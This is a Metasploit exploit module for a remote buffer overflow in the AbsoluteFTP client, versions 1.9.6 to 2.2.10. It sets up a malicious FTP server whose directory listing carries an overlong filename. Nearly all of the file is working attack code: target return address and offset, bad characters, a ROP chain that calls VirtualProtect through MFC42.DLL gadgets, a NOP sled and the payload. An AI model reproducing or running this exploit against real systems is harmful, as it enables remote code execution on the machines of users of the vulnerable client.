# Exploit Title: AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)
# Date: 2011-11-09
# Author: Node
# Software Link: http://www.vandyke.com/pub/AbsoluteFTP/aftp2210.exe
# Version: 1.9.6 - 2.2.10
# Tested on: Windows XP SP3, Windows 7 SP1
# CVE : -
 
# Exploit has been tested to work on:
 
# AbsoluteFTP 2.2.10 (build 252)
# AbsoluteFTP 2.2.9 (build 248)
# AbsoluteFTP 2.2.8 (build 241)
# AbsoluteFTP 2.2.7 (build 238)
# AbsoluteFTP 2.2.6 (build 230)
# AbsoluteFTP 2.2.5 (build 225)
# AbsoluteFTP 2.2.4 (build 216)
# AbsoluteFTP 2.2.3 (build 210)
# AbsoluteFTP 2.2.2 (build 203)
# AbsoluteFTP 2.2 (build 197)
# AbsoluteFTP 2.2 (build 291)
# AbsoluteFTP 2.2B3 (build 163)
# AbsoluteFTP 2.2B2 (build 158)
# AbsoluteFTP 2.2B1 (build 144)
# AbsoluteFTP 2.0.5 (build 297)
# AbsoluteFTP 2.0.4 (build 293)
# AbsoluteFTP 2.0.3 (build 289)
# AbsoluteFTP 1.9.6
 
# Does not work on:
 
# AbsoluteFTP 1.8
 
 
##
# $Id: $
# Skeleton generated by mona.py - Corelan Team
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::FtpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',
            'Description'   => %q{
                    This module exploits VanDyke Software AbsoluteFTP by overflowing
                    a filename buffer related to the LIST command.
                     
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Node', # Original discovery, MSF module, ROP code
                ],
            'Version'       => '$Revision:$',
            'References'    =>
                [
                    [ 'OSVDB', '---' ],
                    [ 'CVE', '---' ],
                    [ 'URL', '---' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars'        => "\x00\x0d\x5c\x2f\x0a",
                },
            'Targets'       =>
                [
                    [ 'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
                        {
                            'Ret'       =>   0x5f479005,
                            'Offset'    =>   3336
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'    => 'MONTH DAY YEAR',
            'DefaultTarget' => 0))
 
    end
 
 
 
    #copypasted from ScriptFTP exploit
    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end
 
    def on_client_command_list(c,arg)
 
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
 
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
 
        code = 226
        c.put("#{code} Directory send ok.\r\n")
 
    rop_gadgets =
        [      
            0x5f46a206, # POP EAX # RETN (MFC42.DLL)
            0x5f49b260, # <- *&VirtualProtect()
            0x5f413fa0, # MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
            0x5f418d93, # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
            0x90909090, # NOPS (RETN 4)
            0x90909090, # NOPS (-> ebx)
            0x5f432001, # POP EBP # RETN (MFC42.DLL)
            0x5F4774D5, # ptr to 'jmp esp' (from MFC42.DLL)
            0x5f46a206, # POP EAX # RETN (MFC42.DLL)
            0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
            0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL)
            0x5f47909a, # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
            0x90909090, # NOPS (-> edi)
            0x5f498456, # POP ECX # RETN (MFC42.DLL)
            0x5F4D1115, # RW pointer (lpOldProtect) (-> ecx) !!!
            0x5f46a206, # POP EAX # RETN (MFC42.DLL)
            0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx
            0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL)
            0x5f4892df, # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
            0x5f479005, # ROP NOP (-> edi)
            0x5f46a206, # POP EAX # RETN (MFC42.DLL)
            0x90909090, # NOPS (-> eax)
            0x5f4755b8, # PUSHAD # RETN (MFC42.DLL)
        ].pack("V*")
 
 
        buffer = [0x5f479005].pack("V*")*848 #ROP NOP's            
        buffer << rop_gadgets
        buffer << "\x90"*30
        buffer << payload.encoded
         
 
        #copypasted from ScriptFTP exploit
        print_status(" - Sending directory list via data connection")
        dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
        dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
        dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
 
        conn.put(dirlist)
        conn.close
        return
    end
 
end